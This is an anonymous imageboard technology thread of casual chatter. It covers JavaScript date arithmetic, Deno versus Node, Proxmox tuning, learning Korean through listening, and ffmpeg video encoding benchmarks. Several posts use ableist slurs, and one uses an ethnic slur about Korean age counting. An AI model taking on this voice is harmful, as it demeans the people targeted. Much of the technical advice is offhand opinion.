#3 SciTech Thread

>>1010728

how do them magnetic power bricks work

>>1010763

you mean the magsafe battery pack?

I thought about buying one, but it's too small, charging is slow and uses lightning port

I think the big phone (with big battery) is the only solution

>>1010825

lillebror v smart

i guess it was all ipos and velocity back then and thats why theres some misses in javascript but makes sense in the context

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get age of the person

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first version of my code

const years = Math.floor((now.getTime() - born.getTime()) / MILLISECONDS_IN_YEAR);

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second version of my code

const years = now.getFullYear() - born.getFullYear();

gosh, I'm so dumb, I didn't even know there's a mistake

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new Date().getTime() returns unix timestamp for your local time

this is retarded

>>1010844

  const now = new Date();
  const offset = now.getTimezoneOffset() + 9 * 60; // change local TZ to KST
  now.setTime(now.getTime() + offset * 60 * 1000);

tz = timezone(timedelta(hours=9))
now = datetime.now(tz)

much simpler in python

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Epoch Shifting is sometimes used internally in date libraries as a shortcut to avoid writing calendar arithmetic. When doing so, any access to non-UTC properties must be avoided. For example, once shifted, a call to getUTCHours would be acceptable, but a call to getHours would be invalid because it uses the local time zone.

this is a bit retarded

so intead of using getTimezoneOffset when changing timezone, we can use getUTCX functions to pretend the original getTime was UTC. uh huh

>>1010839

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okay, now calculate the korean age

on one hand it's even more gooky, on the other they deprecated it themselves, so probably no so relevant anymore

but that legacy stupid age will definitely pop up here and there periodically, will people wondering all the time whether it's the true age or stupid age

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Korean age = (current year - year of birth) + 1

stop, it's actually even better, no branches

korean age master race, compare it to

let years = now.getFullYear() - born.getFullYear();
if (
  now.getMonth() < born.getMonth() ||
  (now.getMonth() === born.getMonth() && now.getDate() < born.getDate())
) {
  // birthday has not yet happened this year
  years -= 1;
}

no way, 3 fucking branches!!!

did the superoptimized branchless age calculation

function calcAge(now, born) {
  const fix = Math.sign(
    (born.getMonth() - now.getMonth()) * 64 +
      (born.getDate() - now.getDate()) * 2 -
      1
  ); // -1 or 1
  const fixHalf = (fix + 1) >> 1; // 0 or 1

  const age = now.getFullYear() - born.getFullYear() - fixHalf;
  return age;
}

console.log(calcAge(new Date("2024-01-01"), new Date("2021-01-02")));
console.log(calcAge(new Date("2024-01-02"), new Date("2021-01-02")));
console.log(calcAge(new Date("2024-01-03"), new Date("2021-01-02")));
console.log(calcAge(new Date("2024-01-04"), new Date("2021-01-02")));

even better

function calcAge(now, born) {
  const fix = !!(
    ((now.getMonth() - born.getMonth()) * 64 +
      (now.getDate() - born.getDate()) * 2 +
      1) &
    0x80000000
  );
  return now.getFullYear() - born.getFullYear() - fix;
}

>>1010900

actually !! might contain branches, the last one:

function calcAge(now, born) {
  const noBdayYet =
    (((now.getMonth() - born.getMonth()) * 64 +
      (now.getDate() - born.getDate()) * 2 +
      1) &
      0x80000000) >>>
    31;
  return now.getFullYear() - born.getFullYear() - noBdayYet;
}

probably ok now

>>1010955

minipcs all the way

>>1010964

how do you game?

>>1010965

old games no spidymane

>>1010974

yeah, those prices are retarded. and soldered SSD

I bought 32GB just in case, although I suppose I would have been better with 16GB 1TB instead

I bought 32GB RAM for my old PC 10+ years ago, which is my NAS now, and newer needed that much

imagine 32GB RAM on a storage server, even ZFS doesn't need it

found regression in my JS app

UI is way too complicated, something can always break in random place even if you're trying to be very accurate

<< is lower priority than +

imagine that???

https://www.reddit.com/r/ProgrammingLanguages/comments/v9cnzx/comment/ibvx9ux/

>>1011008

I tried ts-node and didn't like it, too many bugs with ESM

use swc-node, it's better and faster

>>1011020

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lts node

use the latest and greatest

>>1011025

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deno

I don't think that stuff is amusing. it's like zig or nim

surely you can do something with it, but the benefits from the more popular solution are too good to ignore

>>1011020

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puppeter

so you're using it with TS to scrape your kpop stuff?

I'm using scrapy on python instead

thought about using puppeter but programming on python doesn't make me mad usually

>>1011033

but TypeScript is actually much better than mypy

that guy who created Turbo Pascal, .NET and TypeScript is genius

also python is so slow, even slower than V8

>>1011046

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install prettier

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install eslint

same on deno?

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setup tsconfig

all framework bootstraps have one

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configure esm

you made it harder for yourself by using experimental technology on stable node

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if a better tool works (which it does since since npm support seems to work now)

it might somehow work, but not as good as the native npm support

if you look in the code, there must be millions of hacks inside deno, and they will break sooner or later

>>1011051

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built-in

how is it better? he just put tons of dependencies inside his package

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wouldnt have one

what if you want custom TS settings?

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node projects already break for me from time to time

that's a different type of breakage

but use whatever works for you. for me deno looks nice as an idea, but too 3rd-party to use in my production code

I mean it's like using coffeescript or moonscript which are merely just tiny wrappers on top of the real thing

I mean look at the real source of entropy. it's always the OS, C libraries, programming language library

tiny stuff on top such as npm 10-line wrappers for the C CLI utility are irrelevant garbage, they don't bring any value

so in this paradigm deno doesn't bring as much as node and typescript because it's tiny wrapper on top

>>1011058

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go and rust ship with formatters and linters

I thought you meant deno includes prettier/eslint as dependencies. but it seems like they implemented it in rust. yeah, I like that

tbh I use prettier inside VSCode and no linter, don't know why people like to make life harder for themselves with extra deps in package.json unless it's a big project with many people...

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are built on v8

https://github.com/denoland/deno/tree/main/ext/node

although I've checked, they actually partially reimplemented node stdlib in deno

so now you have an idea about "will break sooner or later" I've talked above

https://docs.deno.com/runtime/manual/node/npm_specifiers

https://docs.deno.com/runtime/manual/node/package_json

and that reimplementation of node_modules and npm must be pretty fragile, with many things not working here and there

so now I don't like it even more

I thought they just packaged node and npm and eslint and what's not as a part of the distribution. but they are mad enough to reimplement it from scratch (with a consequence of most things not working at all of course)

https://docs.deno.com/runtime/manual/basics/import_maps

lol they repeated the Golang mistake

at first there was no module management at all, Ryan was like "just use HTTP URLs" bruh

now, same as golang, they said "ok, maybe it was a bad idea"

so predictable when you try to reinvent the already working stuff

>>1011069

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Golang mistake

now they've added generics

gosh, I can't believe even Rob Pike suffers from Dunning-Kruger...

>>1011067

https://github.com/denoland/deno/blob/main/cli/tools/fmt.rs#L4

https://github.com/dprint/dprint-plugin-typescript

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This uses the swc parser for TypeScript written in Rust (it's super fast).

oh it's all in Rust 진짜로

so use swc to run node app, it's in Rust

>>1011067

just treat it like a black box theres people paid to keep it working

and if you for some reason need to write some huge web service thing on a framework with tons of deps just check if deno is supported by the framework if not use node

>>1011069

import maps are pretty new yeah but makes sense to go with it instead of some deno specific thing

>>1011082

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just treat it like a black box theres people paid to keep it working

unfortunately I know how often those reimplementation things break, don't even want to try

I even regret a bit I picked SolidJS instead of ReactJS because all the world is writing stuff for React and the AI stuff at v0.dev

now imagine I picked Deno instead of Node

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some deno specific thing

they are deno specific way to deal with dependencies

https://github.com/denoland/deno/blob/main/ext/node/polyfills/_events.mjs#L915

https://github.com/nodejs/node/blob/main/lib/events.js#L1064

the code seems similar a bit, but I dunno where deno guys grabbed it from, very old version of node? or just heavily rewritten?

now imagine npm module uses some new method of the node's std library, good luck debugging this stuff

>>1011082

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huge web service thing on a framework with tons of deps

tbh I try to use as little npm deps as I can (even tho it's very hard because of evil people like sindresorhus)

so deno approach could be nice in theory

but at the same time I want my stuff to work with as little effort as possible, and with max possible support from upstream as possible, so I mostly use the most popular stuff

so you can see it doesn't work very well with deno

>>1011084

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picked SolidJS instead of ReactJS

rewrite all view state code and jsx templates

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imagine I picked Deno instead of Node

install tsconfig.json and use the node binary instead

>>1011090

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rewrite all the code

I'm not that mad

>>1011085

https://github.com/denoland/deno_std/commit/46dbcba36f4312d4ecca2007d2d0f7208c207d37

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Nov 14, 2021

so they basically grabbed upstream source 2.5 years ago and never updated it since

imagine hilarious bugs it may cause

>>1011090

oh you meant it's easy to switch back to node

maybe, just don't want to spend time on tinkering with deno

>>1011096

i'll convert all my projects to deno so i dont need to deal with node ts module breakage

i think you may be writing some server side js to have to deal with node std so much, luckily i just have client side stuff like browser extension

>>1011097

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i think you may be writing some server side js to have to deal with node std so much

actually no, it's SPA

but stdlib is still important because you need a lot of boilerplate for building/testing that stuff

https://github.com/solidjs/solid/discussions/873#discussioncomment-6127502

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4 days ago esbuild deno plugin got npm specifier support

you can guess how bleeding that stuff is

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client side stuff like browser extension

that might work if you pick deno-specific web framework and deno-specific builder

but then

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install tsconfig.json and use the node binary instead

won't be true anymore

https://docs.deno.com/deploy/tutorials/vite

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deno run --allow-read --allow-write --allow-env npm:create-vite-extra@latest

not sure how well it works

maybe it's better than I think

>>1011117

I found a logical error

popular runtime + popular framework = works (both make effort to make it work good)

popular runtime + unpopular framework = works (unpopular framework tries hard to be compatible)

unpopular runtime + popular framework = works (unpopular runtime tries hard to be compatible)

unpopular runtime + unpopular framework =

oh no...

>>1011117

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maybe it's better than I think

although yarn looked very cool in docs too

but when I actually tried it I hated it so much I uninstalled it in like 10 minutes when realized how bad it actually is. never again touching it

>>1011098

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that might work if you pick deno-specific web framework and deno-specific builder

didnt think this was possible but esbuild uses fancy css imports from javascript and deno typechecker doesnt like that

js world is a babel's tower sad

i guess scripts is denos only domain for now

>>1011162

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css imports from javascript and deno typechecker doesnt like that

it doesn't use typescript?

typescript is fine with those because you can define type for *.css import via .d.ts

>>1011163

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If you want to utilise JavaScript that has type definitions (e.g. a .d.ts file), you have to explicitly tell Deno about this. The details of how this is accomplished are covered in the Types and type declarations section.

seems possible, just disabled by default

>>1011162

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didnt think this was possible but esbuild uses fancy css imports

I used that feature in webpack 8 years ago

>>1011186

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while hyperv gets you above 95% of host machines cpu performance in a vm when you assign all the cpu cores, in proxmox it's sub 50%.

you did something wrong, KVM can't have 2x less performance than HyperV, it's all HVM

and IO drivers should also have similar performance too

>>1011191

definitely, theres a gigaton of settings but but as the representative how wud i know. i just went with defaults other than virtio from here https://pve.proxmox.com/wiki/Performance_Tweaks

oh, I got it, you need SMP inside your VM. I was talking about single-core VM performance with HVM

seems to be CPU pinning

https://www.reddit.com/r/Proxmox/comments/17sjcqm/comment/k8rp7xb/

https://forum.proxmox.com/threads/hey-proxmox-community-lets-talk-about-resources-isolation.124256/

you need to pin VM cores to your physical CPU cores

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I replicated the same setup I had on unraid as close as I could, but even after a lot of changes and iterations with my prox settings, unraid is blowing it out of the water (at least GUI based VMs? ) using RDP

told you to use unraid

>>1011203

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told you to use unraid

nooooo i got scammed by the hn comments

>>1011205

just run this https://gist.github.com/kiler129/215e2c8de853209ca429ad5ed40ce128 and all your problems will be magically solved

they're just built for a bit different purposes: one (Proxmox) for VPS providers who run dozens of VMs on a giga servers, another (Unraid) for geeks who run games on their Linux NAS machine and need to map all available resources 1:1

but tbh I didn't think Proxmox is that bad in 2024 for such a simple task

>>1011205

>>1011208

that's why I think those HN guys who say "just install debian and samba hurr durr" are full of shit stop, I said that myself few weeks ago

they never actually compare performance of their solution compared to state of the art

but it's not always the case, sometimes it's actually easier to modify all the configs by hand, if you know what you're doing, instead of hooking into the complicated production stuff

but need to research for that a lot too

UI is so complicated, after weeks I can't even remember why I did some rendering optimizations and I'm too afraid to touch them now because it may break something

are heat packs used outside korea never seen em

>>1011231

found how to perfectly fix the issue

tbh, it even worked better before, but then I tried to optimize stuff and it actually became worse

very comfy to develop on 3 displays

display 1: browser

display 2: editor

display 3: terminal

https://www.reddit.com/r/selfhosted/comments/sjt3kc/huginn_selfhosted_opensource_zapier/

what to use if not huginn and n8n

they are both very bad

>>1011281

what it do

>>1011288

like visual programing? ive only heard node red but idk if good alternative

>>1011291

yeah, basically I need to code very small chunk of data transformation and all the boilerplate stuff (scheduling, message sending, formatting, etc) is done through GUI

first I had huginn configuration but it sucks

then I migrated to n8n but it has its own issues too

not sure if I want to try node-red, it might be bad too

if only I knew how shitty those solutions are, I would have written just simple scripts instead

>>1011293

interesting to think how the job que loop would look with graphical programming thing

does that work well? and then the problem is the code blocks are annoying to keep in sync with your code if you actually code in a real editor

https://budibase.com/ wonder if this might be nice thing to put some graphs on

>>1011326

what are you even trying to do

>>1011326

just use gnuplot

started listening to fridman-nim's podcast too when not on the compoter

i used to search for programming stuff but its not like you ever learn anything from those so better go for entertainment

>>1011461

I've already watched too many of them

the most interesting are with people like Carmack, Bostrom, but he also invites many boring guests

>>1011519

what are you even syncing

>>999634 ➡

https://blogs.windows.com/windowsexperience/2024/01/04/introducing-a-new-copilot-key-to-kick-off-the-year-of-ai-powered-windows-pcs/

looks like they noticed right side was underused

>>1011552

rcmd bros...

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Nearly 30 years ago, we introduced the Windows key to the PC keyboard that enabled people all over the world to interact with Windows

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The Copilot key joins the Windows key as a core part of the PC keyboard and when pressed, the new key will invoke the Copilot in Windows experience

why do they think a key which brings the system dialog is somehow revolutionary

it's almost apple's "amazing" cringe innovations

imagine amount of money keyboard companies will make on selling the "updated" windows 12 compatible keyboards tho

that shitty store cancelled my kindle order

the universe doesn't want me reading

I use iCloud sync

>>1011720 ➡

be able to focus on one thing for a long time might be considered as a talent per se. it's a matter of definition

all people have different starting skills, then they can choose the amount of effort to put into further development of the skill and achieving something with that skill. how well can you do that depends on many factors: you may have low starting skill, but strong determination, so with time you can progress a lot. or you may have high starting skill, but lose motivation too quickly in case of failure. also support from the people around you is very important: if you receive portion of dopamine for every little step, that will help you to climb much higher. but building that social circle isn't simple either

in other words, "just do it" is naive approach. you have to be smart and work on many non-trivial issues at the same time

>>1011728

>>1011737

one less mystery browser extensions with access to all data

>>1011746

just watch fullscreen

>>1011747

just need auto hd since i'm in the default 720p shadow pool

>>1011784

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default 720p shadow pool

just buy premium

what device or app would you switch language to korean to something that doesnt have that much unexpected messages that it would get annoying too fast

if you can learn english from vidya surely korean also

>>1011820

dunno, just OS and all apps (system language)? shouldn't be too hard to learn menu items (not sure if that would help with learning much tho)

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if you can learn english from vidya surely korean also

that's a bit different. you have to play with koreans and talk in korean to learn that

and european languages are easier to learn that korean

>>1011834

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But you know what’s an even worse way of internalising a book? Not reading it to begin with

don't agree. if you just read, chances are, you will forget 90% of the information very quickly, so it's barely better than not reading at all

>>1011834

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pen and paper won

good luck finding those notes 5 months later

better to research one good (but simple) digital solution

nowadays most people use Obsidian but I don't like it

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Apparently, we creative-worker types crave nothing more than the perfect technique for reading more books, then capturing their contents with a tricked-out digital notetaking system

especially if you read books like that >>1010443 ➡

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one person creates X

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1000 people make videos, write posts about how cool that X

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1000 more people write how X sucks

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1000 people after some time make videos like "why I stopped doing X"

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then videos like "why X is still relevant"

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then videos like "why should we care about X"

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then "X is a snake oil and irrelevant"

etc

just endless stream of people discussing every possible way of looking at X

I'm surprised we can still evolve at this point. probably smart people who actually create X, don't spend their precious time watching dumb videos on youtube

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It means you’ll avoid that important book altogether, in favour of something that matters to you less. It means listening to a podcast you don’t especially want to hear, because you’re too tired to take notes on the one you did want to hear, but now probably never will.

yeah, of course, genius

because learning is hard, you have to make new connections in the brain

there's no trivial shortcut and if you don't take notes you just don't learn it

>>1011820

https://tatsumoto-ren.github.io/blog/whats-ajatt.html

try AKATT

https://tatsumoto-ren.github.io/blog/introduction-to-learning-japanese.html

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Once you learn the basic vocabulary, nothing stops you from learning just from immersion. Don't wait for too long. There are people who trap themselves into thinking, "I'm going to start watching raw anime when I'm good", "I don't immerse because I don't understand Japanese yet". This is a very dangerous pattern. You start wearing skates before you know how to skate. You start watching without subs before you understand.

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Avoid blue-pilled resources. There are a myriad of methods out there, and each of them tells you to do different things. Some methods are effective, but many are not. Unfortunately, the quality of advice on the Internet is often poor, with more bad advice than good advice. If you want to reach mastery in a foreign language, you don't want to waste you time on ineffective methods.

how can I know what's good and what's bad

>>1012141

I was making notes based on learning material (i.e. re-write it with my own words for better understanding)

not sure if that counts as teaching

but I'm forgetting that too but at least I can quickly find out how to use some specific grammar, and I know it's 100% correct information because I've already researched that in the past. so it's like external brain: I know everything but only when I have access to my notes

I'm wondering how people learn languages at all. are language schools just a massive scam and most students don't know shit after they finish them? what's the most effective way of learning and why people don't use it?

or maybe the particular method isn't that important, you just have to be persistent and you will learn new language in 10 years or so whatever you do. it's hard to believe people are actually "fluent" in just 2 years

>>1012162

that guy was reviewing Anki cards for 1 hour every single day for 5 years and can just read simple manga without looking words up

I burnt out after doing 10% of that

>>1012128

funny guy

>>1012130

correct, input is the most important thing. rewatch a korean movie without subtitles.

or watch 500 episodes of your favorite waifus yapping without youtube subtitles.

>>1012131

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If you happen to get a native as your teacher, they likely have no idea how language acquisition works.

natives speakers only have the ability to produce and interpret their language, and don't know the inner works of it. it's like someone who has become amazing at driving but know nothing about how cars work on the inside, and instead of teaching you how to drive they try to teach you how a car works.

>>1012141

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try to "teach" it instead

sounds like the feynman technique

>>1012142

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are language schools just a massive scam

pretty much, at least if they don't primarily focus on input. the problem is the amount of time you spend in classes is nowhere near enough, so you have no choice but to spend free time learning the language and using the classes as extra help if you want the classes to mean anything at all. if you do this, then classes can actually be very nice if it's the only time you get to practice having conversations and other things you don't get at home.

>>1012243

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or watch 500 episodes of your favorite waifus yapping without youtube subtitles

but what's the point if I understand only 5% of the sentences?

I know that I already know and I can only learn more by looking up the words. if I just listen, there's no way I can learn more

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natives speakers only have the ability to produce and interpret their language, and don't know the inner works of it

agree

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sounds like the feynman technique

oh yeah, I like that

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if it's the only time you get to practice having conversations

I believe talking in korean with korean friends on kakao talk should be beneficial

but I can barely make friends even using my native language so

>>1012247

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but what's the point if I understand only 5% of the sentences? I know that I already know and I can only learn more by looking up the words.

what's important to know here is that we are talking about multiple things that are unrelated here.

- looking up words is good for knowing more words.

- input is good for making your mind more used to the phonology of the language, the sounds and everything about how sounds are used in a language. this will not help you learn new words.

since they are different things, you need both.

as for the importance of listening to something you barely understand: it's exhausting and it feels counterintuitive, but if it feels like an exercise you're doing it right. your mind gets better at identifying sounds and figuring out which sounds matter and which don't, where and when. this process is crucial to be good at listening. our minds are built to acquire the phonological system of a language this way. just listen and listen, and your brain figures out the patterns. unfortunately it just takes a while.

this is true for kids too who learn their first language. they already start slowly discovering the phonological system of the language while they don't actually understand much.

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but I can barely make friends even using my native language

which is why i think classes can be useful. for many it's one of the few opportunities to actually try conversing in the language. i agree getting friends on kakaotalk is great as well.

>>1012259

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it's exhausting and it feels counterintuitive, but if it feels like an exercise you're doing it right

what's the difference compared to listening unknown language as a "white noise"?

I mean if you understand e.g. 0.5 words per sentence, how do you know that everything else your missed will help you? or it's important skill to parse those 0.5 words (trying to squeeze at least the minimal drop of meaning out of the rubbish)?

>>1012243

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rewatch a korean movie without subtitles.

or KAV for the motivation and dialogues are quite simple there too

that guy even links to hentai manga https://tatsumoto-ren.github.io/blog/resources.html#manga

>>1012263

having some understanding of meaning is important but people overestimate how much you need.

listening to an unknown language as white noise is not helpful since you need to connect language with the real world in some way. just like how a baby who starts off understanding nothing becomes fluent because their interaction with the real world alongside the language bridges that necessary gap for them, with no need of a dictionary. if you're like me who doesn't live in korea, you need to watch or listen to something where you know what's going on or you need to have conversations with people.

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I mean if you understand e.g. 0.5 words per sentence, how do you know that everything else your missed will help you?

you primarily need either what you do understand or the real world context. your mind will find it important to be good at figuring out the phonology of the language since it doesn't like not understaning. in the process you might figure out some more vocab from context (just like kids) but the most important part is you get much better at identifying words and grammar that you already know. this is the primary point of learning through input. getting most of your vocab from listening is gonna be tough unless you live in the country and it's the only language people speak to you, and they speak a lot to you.

>>1012285

probably should start reading more korean forums and chats

but I've already tried talking in korean discord servers few times and it wasn't very interesting

>>1012283

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your mind will find it important to be good at figuring out the phonology of the language since it doesn't like not understaning

interesting idea

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identifying words and grammar that you already know

that means you still need to find and learn new words?

I think I'm getting a bit better at recognizing words I know after listening to vlogs without subtitles. but the process seems too slow

>>1011697 ➡

>>1011721

if you think about it, isn't it stupid to solve 2nd level procrastination

life → escapism to kpop → procrastination while learning korean

probably should focus on something useful to begin with

>>1012304

like life? where are you gonna start?

>>1012311

don't want to think about that

>>1012312

why fix your life when you can fix your korean grammar?

if i wanted to attempt to fix my life it would have to start with kpop the only hobby in the world you cannot talk to people about

>>1012333

how is that useful?

should start with a hobby where you can socialize a lot

>>1012335

yes literally anything else is better

>>1012336

femme fatale korean waifus push us into the abyss of loneliness

>>1012304

You can eliminate fun forms of procrastination but you can't eliminate it altogether, it's procrastination all the way down. By breathing and eating and so on, I am putting off the inevitable.

I used to procrastinate to avoid thinking about work. Now I work to avoid other things. It's all avoidance, escapism, procrastination.

>>1012338

first you find a hobby, then you use it as an excuse to procrastinate, then you turn it into a job, then you procrastinate instead of doing ex-hobby. the circle of life

well, some people still can learn something for 5 years every day, without procrastination

>>1012191

i tried doing anki for like 4 months straight but it doesnt stick mein memory doesnt work

>>1012339

>

first you find a hobby, then you use it as an excuse to procrastinate, then you turn it into a job

basically what i've been trying to do. korean as a hobby for years and now studying linguistics.

so right now i have an excuse to learn more korean

>>1012341

it helped me a lot but I just can't do same thing every single day so I dropped

I'm even depressed with eating and sleeping chores, the periodic nature of the process kills me. I want to be impulsive

the only thing I can do every day just fine is talking to people

>>1012342

are you in the uni? what kind of job would you have?

>>1012341

never used anki but i did use memrise during the first two years or so of learning korean.

other than that and howtostudykorean i've only read/listened to content, chatted with others, looked up words on naver and googled random stuff.

I've bought Anki for ios for $25 but barely used it

>>1012343

yes i'm in uni. i'd love to be a researcher, but i'll be fine with plenty of other options. never programmed before uni and i've been considering computational linguistics so i'd love to start some serious programming grind but programming is such a wild new world for me that it feels overwhelming to start.

>>1012347

>

computational linguistics

oh, sounds very nice, in particular this recent article I've mentioned recently

https://www.science.org/doi/10.1126/sciadv.aaw2594

https://github.com/keruiduo/SupplMatInfoRate

and the rise of LLMs and research of consciousness also brings a lot of questions to the table about how languages and corresponding brain structures work. it's all deeply connected to who we are

unfortunately I'm too dumb to do the actual research, can just read what others people do and wait for new discoveries in that area

>>1012348

i'll consider doing a deep dive into that article. could be a fun exercise with much for me to learn.

>>1012346

the sync is annoying

gotta remember to press the sync every time or when you get to your other device youre gonna redo stuff

sync sync sync

press the sync, it's manual

>>1012380

>

htmx

>

latest hottest

angular was 13 years ago chingu...

LG UP550 costs $100 less than UP850

the only major difference seems to be sRGB vs DCI-P3 color gamut

not sure if that's worth $100

why doesn't mpv have a command palette

>>1012689

https://github.com/rossy/mpv-repl

if I watch korean video with english subtitles, I can parse many words and get the meaning

if I watch korean video without subtitles, I can understand few words and get very little meaning

is it really better to learn that way

>>1012716

as said earlier, it's the only good way to get your brain to get used to korean phonology. i would recommend both ways of watching videos to get the best of both worlds.

i only ever watched korean content with subtitles for way too long and it was my biggest mistake by far as i improved at an awfully slow rate at korean listening. sentences that i could read with no problem in korean were embarrassingly difficult to understand through listening.

>>1012760

that means you still need to learn many new words at the same?

I mean if you're just listening and barely reading, there's no way you will have knowledge of words in the videos

>>1012768

the purpose of listening practice is not to learn new words, but to be better at picking up words you know. you need a way to learn new words as well as a way to pick them up faster. learning new words by only listening and nothing else is not effective.

Carmack was eating pizza every day for years and somehow didn't die

>>1012771

theres probably still a lot of english words i know what they kinda mean by having heard of them within context but wouldnt know what they actually mean or translate to my language

this would be a lot easier though if i was at least a bit better at korean so fewer words would be left for guessing

>>1012868

>

if i was at least a bit better at korean so fewer words would be left for guessing

oh yeah, it seems to be logarithmic scale: the more words you know, the easier to lookup the few remaining words, compared to when you know just 1 word in a sentence

so I'm not entirely sure about the efficiency of "listen to content without subtitles from day 1"

except the phonology thing the smartchingu was talking above

>>1012868

yes this is expected. you don't even need to know the meaning to be good at identifying it when listening.

>>1012872

>

the more words you know, the easier to lookup the few remaining words

this is of course true. the question is if you can recognize the words through listening or not. you could know every word in a sentence but fail to pick some of them up when listening, if your listening skills are lacking while you read just fine. this is what i experienced for a long time since i focused to little on improving my listening.

it's only efficient on day 1 if you're watching like peppa pig in korean or something.

listening without subtitles is just a good method to fix the problem mentioned above.

>>1012885

oh yeah, I'm much better at reading than listening, I would say 10x better

although that might be because I can read very slow, but when listening you need real-time understanding

>>1012888

listening is just by default much harder than reading. when reading, you don't have to deal with annoying stuff like assimilation or any contextual phonological processes (like 넌 pronounced 던). figuring out when a word starts or ends is hard when listening too. knowing if someone said ㅓor ㅗ, ㅆ or ㅅ etc. can be very hard, but in writing it's always clear.

>>1012885

what about songs? it's very hard to recognize words in typical kpop song, but it has one major advantage: you can listen for kpop for hours without forcing yourself

I usually try for 10-15 minutes without much luck, then just give up and listen as a white noise

can't post on 4chan because it's blocked in the country and 4chan blocks vpns

>>1013009

that's a good thing

wtf, CRF=25 with x264 on 4K looks nice, but same CRF looks like shit on same video scaled to 720p

so need to set much lower CRF for smaller resolutions, like 20

or maybe just encode to HEVC, won't work with Firefox, but who cares about Firefox nowadays

>

Well in reality and not some theory, what butterw says is valid. For HD source, you get away with higher CRF 19-20. For SD resolution , while watching on big TV screens, content gets upscaled, every artifact is blown up, so that 19-20 equivalent for HD might show up as a worse,CRF is better to be lower, say CRF, 16-17 or 18.

oh yeah, I was right

>>1013005

i can't speak for everyone, but for me songs aren't effective enough. i know there are many that care a lot about lyrics, while i am much more interested in the melody and such things. i often don't even realize there are lyrics, i just hear voices. if you are really into lyrics then maybe it's okay. i'd still argue content where people talk normally is more effective since you need to pick up on things like korean intonation and how conversations flow.

>>1013073

>

if you are really into lyrics

there isn't much to hear in typical kpop song, it's just the content in korean I listen to the most

>

i'd still argue content where people talk normally is more effective

definitely. but listening to korean podcast when you're outside and understanding 1% of the information would feel like a torture

>>1013079

podcasts are too tough if you understand little. still great if you're okay with being a masochist. i recommend movies and series since you see what's happening which makes it much easier to follow what's being said. though if you're comfortable podcasts are amazing.

>>1013083

>

←

is wony a masochist?

>

not if you're outside (walking)

again, if you're okay with being a masochist

>>1013082

>

movies and series

I've seen recommendation to watch at least 2 times: 1st in your native language to understand the plot, 2nd to learn the language

not sure if I would want to watch something 2nd time

but watching interesting series without understanding (in korean) would be bad too

well, have to watch KAV in korean anyway because there're no subs at all

at least not until AI can translate it well enough

>>1013087

>

watch at least 2 times

yeah, i prefer rewatching movies i like without subs. don't want to ruin my first time watching a good movie.

>>1013091

>

movies i like without subs

korean?

i can't even watch english stuff without subtitles one of many tho so not wholly embarrassing just a lil bit https://archive.is/U6E9l

>>1013092

of course

>>1013093

interesting. i never watch english stuff with subs

>>1013093

I can watch youtube videos without subs, but for movies it's complicated because the way they're talking (especially black actors) is horrible

>>1013096

youtube is fine for sure but series and movies have such a big range of volume between scenes that it's either blast it (dont want to do that in an apartment building) or subtitles

>>1013096

>

black actors

luckily there aren't any varieties of english i struggle with understanding. maybe if it's some jamaican guy who uses a tad bit too much patois or something

>>1013098

>

but series and movies have such a big range of volume between scenes

yeah, right. it's a problem even with native language

but watching everything with subs is tiresome, so I try to disable them if I can

>>1013091

what korean movies do you like the most?

>

House of the Dragon—last summer’s Game of Thrones prequel—is what broke me. How was anyone supposed to follow that show without subtitles? House Targaryen. House Velaryon. Rhaenys. Rhaena. Rhaenyra. The Sea Snake. The Crabfeeder. Now three years have passed. Now 10 years have passed. Now a different actor is playing Rhaenyra, but the same actor is playing Rhaenys. Dragons shrieking and throwing flames over all of it. What the hell is going on here?

>>1013102

thrillers usually and action. the typical park chan wook type movies, actions with ma dong seok etc. i can enjoy horrors too, like a tale of two sisters. same goes for dramas. loved signal and stranger.

it's so faster to type "X 어때" in korean than "what about X" in english

>>1013121

try how's X

https://www.reddit.com/r/handbrake/comments/vdnami/anyone_deeply_pixelpeeped_at_handbrakes/

https://video.stackexchange.com/questions/18203/8bit-vs-10bit-vs-12bit

>>1013149

nicely compressed

https://kokomins.wordpress.com/2019/10/10/anime-encoding-guide-for-x265-and-why-to-never-use-flac/

nice guide for x265 settings

but hevc_videotoolbox should be much faster

too bad no proper hwenc/hwdec for av1 yet

https://trac.ffmpeg.org/wiki/Encode/AAC#aac_at TIL

hevc_videotoolbox + aac_at VS svt-av1 + libopus

>

That is really massive loss of detail. I encode my anime library with svt1-av1 1.7 preset 4 CRF 24 filmgrain-4 and denoise-1. I tested a lot and find compromise in this settings. It looks much better than x265 slow 22 I was using before while file 50% smaller at the same encoding speed. I never noticed something on this scale even tho I watch it all on 50' 4k TV.

>

Incompatible pixel format 'yuv420p10le' for codec 'hevc_videotoolbox', auto-selecting format 'p010le'

time ffmpeg -v verbose -hide_banner -i crazy.mp4 -t 60 \
  -pix_fmt:v p010le -tag:v hvc1 -c:v hevc_videotoolbox -q:v 65 \
  -c:a aac_at -q:a 2 \
  -movflags +faststart -y out.mp4

perfect encoding

now need know how that compares to x264 superslow, x265 slow, libaom and svt-av1

>>1013316

>

brew bottle

>

encoded 120 frames in 14.36s (8.36 fps)

>

my build

>

encoded 120 frames in 4.16s (28.83 fps)

imagine be such pabos

>>1013395

how? by observing the waves pattern?

>>1002724 ➡

oh no, that app wrapper doesn't work with URL drag-and-drop

but the default app does

>>1013402

>

perhaps even material properties

soft

>

touching kpop waifus with microwaves and studying their material properties

pressing fn+f12 on that logitech keyboard is a pain

probably should have gone with better layout

>>1013442

>

not using super

use copilot key

>>1013403

>

youtube-dl with path youtube-dl not found in PATH or not enough permissions

it's just path issue, now works fine

https://bitbucket.org/multicoreware/x265_git/src/master/build/linux/multilib.sh

retarded build system

>

x265 slow 8bit

>

encoded 120 frames in 9.89s (12.13 fps)

>

x265 slow 10bit

>

encoded 120 frames in 13.13s (9.14 fps)

>

x265 medium 10bit

>

encoded 120 frames in 4.94s (24.27 fps)

slow is way too slow, but need to compare quality of medium to hevc_videotoolbox

>>1013459

x265 vmaf: 99

videotoolbox vmaf: 27

>>1013438

thinkpads have fn-lock for that, i just leave that on

>>1013483

there's also fn+esc here to lock fn keys, but I don't like using fn to control volume

>>1013464

vtb → 265 → libvmaf = broken timestamps

vtb → 265 → y4m → libvmaf = broken timestamps

vtb → mkv → libvmaf = broken timestamps

vtb → mkv → y4m → libvmaf = ok

vtb → mp4 → libvmaf = ok

>>1013464

>>1013495

videotoolbox seems comparable to x265 medium so far, but 10x faster

finally a task for my new HDD: store gigantic y4m sources for benchmarks

>

aria2c -j 16 -x 16 -s 1 -i sources.txt

https://github.com/aristocratos/btop

>>1013536

cheap kpop fanmeets soon

sar: doesn't work

iostat: shit

btop: shit

iotop: requires python2

atop: no package

how come disk monitoring in linux is so hard in 2024

>>1013540

